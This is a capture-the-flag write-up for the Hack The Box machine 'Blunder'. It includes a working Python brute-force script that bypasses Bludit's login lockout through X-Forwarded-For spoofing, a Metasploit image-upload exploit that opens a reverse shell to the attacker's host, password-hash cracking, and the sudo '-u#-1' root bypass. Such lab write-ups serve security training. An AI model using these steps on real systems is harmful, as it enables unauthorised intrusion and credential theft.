Blunder Image

Blunder is an easy linux box by egotisticalSW.

Overview

The box starts with web-enumeration, where we find an instance of Bludit-CMS running. Using a CeWL and a known bruteforce-login-bypass, we get access as administrator. We then use a Metasploit-module to get a shell as www-data.

To get user, we enumerate the system and find hashes stored on the file-system, which we crack and use to login as user.

To get root we exploit a known sudo-vulnerability that allows us to bypass the sudo runas-restrictions.

Information Gathering

Nmap

We begin our enumeration with a nmap scan for open ports.

root@darkness:~# nmap -sC -sV 10.10.10.191
Nmap scan report for 10.10.10.191
Host is up (0.059s latency).
Not shown: 998 filtered ports
PORT   STATE  SERVICE VERSION
21/tcp closed ftp
80/tcp open   http    Apache httpd 2.4.41 ((Ubuntu))
|_http-generator: Blunder
|_http-server-header: Apache/2.4.41 (Ubuntu)
|_http-title: Blunder | A blunder of interesting facts

Enumeration

The only open port shown by nmap is 80 (http).

HTTP - Port 80

Let us start our web-enumeration by going to http://10.10.10.191.

Webpage

Upon visiting the url, the following blog is shown. It seems like no interesting content can be found, so let us start a gobuster to search for further content.

Fuzzing directories and files using gobuster

root@darkness:~# gobuster dir -u http://10.10.10.191/ -w /usr/share/wordlists/dirbuster
/directory-list-2.3-medium.txt -x txt -t 50
===============================================================
Gobuster v3.0.1                                            
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@_FireFart_)
===============================================================
[+] Url:            http://10.10.10.191/
[+] Threads:        50
[+] Wordlist:       /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
[+] Status codes:   200,204,301,302,307,401,403
[+] User Agent:     gobuster/3.0.1
[+] Extensions:     txt
[+] Timeout:        10s
===============================================================
2020/05/31 14:18:20 Starting gobuster
===============================================================
/about (Status: 200)
/0 (Status: 200)
/admin (Status: 301)
/robots.txt (Status: 200)
/todo.txt (Status: 200)
/LICENSE (Status: 200)

Running the gobuster, we find multiple directories and files with the most interesting ones being /admin and /todo.txt.

Let us check out /admin next.

Finding and enumerating Bludit CMS

Going to http://10.10.10.191/admin we get to a login prompt for Bludit. Researching on google, it turns out Bludit is a CMS. After some more research, I found a a login bruteforce bypass poc that can be used to bruteforce passwords without getting temporarily banned after too many failed attempts.

Next, let us check out the todo.txt file.

root@darkness:~# curl 10.10.10.191/todo.txt
-Update the CMS
-Turn off FTP - DONE
-Remove old users - DONE
-Inform fergus that the new blog needs images - PENDING

Checking todo.txt, we get a potential username (fergus).

Now that we have a username we have to decide on which wordlist to use for bruteforcing.

Using CeWL to generate wordlists

We can use a tool called CeWL to grep all words from the website and use it as possible password-candidates.

root@darkness:~# cewl http://10.10.10.191 -w wl.txt -m 5
root@darkness:~#  cat wl.txt | wc -l
243

We define that all words with at least 5 characters are added to the wordlist resulting into 243 possible password candidates.

Next we can use this wordlist with the login-bypass-poc (which I have slightly modified).

#!/usr/bin/env python3
import re, requests, sys

host = 'http://10.10.10.191'
login_url = host + '/admin/login'
username = 'fergus'

for password in open("wl.txt","r"):
    password = password.rstrip() # Remove newline
    session = requests.Session()
    login_page = session.get(login_url)
    csrf_token = re.search('input.+?name="tokenCSRF".+?value="(.+?)"', login_page.text).group(1)

    print(f'[*] Trying: {password}')

    headers = {
        'X-Forwarded-For': password,
        'User-Agent': 'Mozilla/5.0',
        'Referer': login_url
    }

    data = {
        'tokenCSRF': csrf_token,
        'username': username,
        'password': password,
        'save': ''
    }

    login_result = session.post(login_url, headers = headers, data = data, allow_redirects = False)
    sys.stdout.write("\033[F")
    if 'location' in login_result.headers:
        if '/admin/dashboard' in login_result.headers['location']:
            print(f'[+] Password found: {password}\n')
            break

Now let us run the poc with our generated wordlist.

root@darkness:~# python3 poc.py
[+] Password found: RolandDeschain

After running for a bit, we get a result: RolandDeschain. Now that we have credentials (fergus:RolandDeschain), we can search for a way to gain initial access to the server.

Initial shell

After a bit of research I found a Metasploit-module, which seems to exploit an image-upload vulnerability. Because of lacking time, I did not tried to replicate the exploit myself (as I would usually do).

Anyways, we can run the exploit with the gathered credentials and check if we get a shell.

msf5 > search Bludit                                       
                             
Matching Modules
================                                           
                                                                                                                      
   #  Name                                          Disclosure Date  Rank       Check  Description
   -  ----                                          ---------------  ----       -----  -----------                    
   0  exploit/linux/http/bludit_upload_images_exec  2019-09-07       excellent  Yes    Bludit Directory Traversal Image File Upload Vulnerability


msf5 > use 0
msf5 exploit(linux/http/bludit_upload_images_exec) > set BLUDITUSER fergus
BLUDITUSER => fergus
msf5 exploit(linux/http/bludit_upload_images_exec) > set BLUDITPASS RolandDeschain
BLUDITPASS => RolandDeschain
msf5 exploit(linux/http/bludit_upload_images_exec) > set RHOSTS 10.10.10.191
RHOSTS => 10.10.10.191
msf5 exploit(linux/http/bludit_upload_images_exec) > set LHOST tun0
LHOST => tun0
msf5 exploit(linux/http/bludit_upload_images_exec) > run

[*] Started reverse TCP handler on 10.10.14.6:4444 
[+] Logged in as: fergus
[*] Retrieving UUID...
[*] Uploading SpMCoqbbdn.png...
[*] Uploading .htaccess...
[*] Executing SpMCoqbbdn.png...
[*] Sending stage (38288 bytes) to 10.10.10.191
[*] Meterpreter session 1 opened (10.10.14.6:4444 -> 10.10.10.191:53438) at 2020-05-31 15:09:31 +0200
[+] Deleted .htaccess
meterpreter > shell
Process 2780 created.
Channel 0 created.
id
uid=33(www-data) gid=33(www-data) groups=33(www-data)

After running the Metasploit-module, we indeed get a shell as www-data.

Privesc to user

Now that we have gained initial-access to the server, let us enumerate the system to escalate our privileges.

Enumeration as www-data

Let us start our enumeration by looking at the file-system of the server.

www-data@blunder:/var/www$ ls -alh
total 20K
drwxr-xr-x  5 root     root     4.0K Nov 28  2019 .
drwxr-xr-x 15 root     root     4.0K Nov 27  2019 ..
drwxr-xr-x  8 www-data www-data 4.0K May 19 15:13 bludit-3.10.0a
drwxrwxr-x  8 www-data www-data 4.0K Apr 28 12:18 bludit-3.9.2

Looking at the files in /var/www/, we find two installations of Bludit. Let us search both installations for the users.php file, which should contain credentials.

www-data@blunder:/var/www$ cat */bl-content/databases/users.php
<?php defined('BLUDIT') or die('Bludit CMS.'); ?>                                                                     
{                                                          
    "admin": {        
        "nickname": "Hugo",                                
        "firstName": "Hugo",
        "lastName": "",                                    
        "role": "User",                                    
        "password": "faca404fd5c0a31cf1897b823c695c85cffeb98d",
[...]
<?php defined('BLUDIT') or die('Bludit CMS.'); ?>
{
    "admin": {
        "nickname": "Admin",
        "firstName": "Administrator",
        "lastName": "",
        "role": "admin",
        "password": "bfcc887f62e36ea019e3295aafb8a3885966e265",
        "salt": "5dde2887e7aca",
[...]
"fergus": {
        "firstName": "",
        "lastName": "",
        "nickname": "",
        "description": "",
        "role": "author",
        "password": "be5e169cdf51bd4c878ae89a0a89de9cc0c9d8c7",
        "salt": "jqxpjfnv",
[...]

Looking at both files, we get multiple hashes, however the password of the user hugo does not seem to contain a salt. Let us try to crack this hash first.

Cracking the hash

Before trying to manually crack the hash, we can try to lookup the hash online.

Hash found online

Seems like the password for the user hugo is hashed using the sha-1 algorithm and in plaintext is: Password120.

Getting a shell as user (hugo)

We can now try to login as hugo on the system.

www-data@blunder:/var/www$ su hugo
Password: Password120
hugo@blunder:/var/www$ cat ~/user.txt 
33211***************************

We successfully login as hugo using the found password and can read user.txt.

Privesc to root

Now that we have a shell as user, let us enumerate the system to find a privesc-vector to root.

Enumeration as hugo

Let us check the sudo-privileges of hugo.

hugo@blunder:/var/www$ sudo -l
Matching Defaults entries for hugo on blunder:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User hugo may run the following commands on blunder:
    (ALL, !root) /bin/bash

Hugo seems to be allowed to run /bin/bash as any user except for root. Let us check the version of sudo next.

hugo@blunder:/var/www$ sudo -V
Sudo version 1.8.25p1

The installed sudo version is vulnerable to an runas-restriction-bypass and can be exploited. The exploit in full detail is explained here. The basic vulnerability lies in the fact that sudo and setresuid system-call interpret the user-id differently.

Exploiting sudo runas-restriction-bypass

We can exploit the vulnerability by supplying -1 as the id of the user. Whilst sudo will interpret the number as -1, which is not equal to 0 (root), the setresuid system-call will return 0 (root) instead of -1, resulting into escalation to root-privileges.

hugo@blunder:~$ sudo -u#-1 /bin/bash
root@blunder:/home/hugo# cat /root/root.txt 
6e0ef2***************************

We successfully exploit the vulnerability and can read root.txt.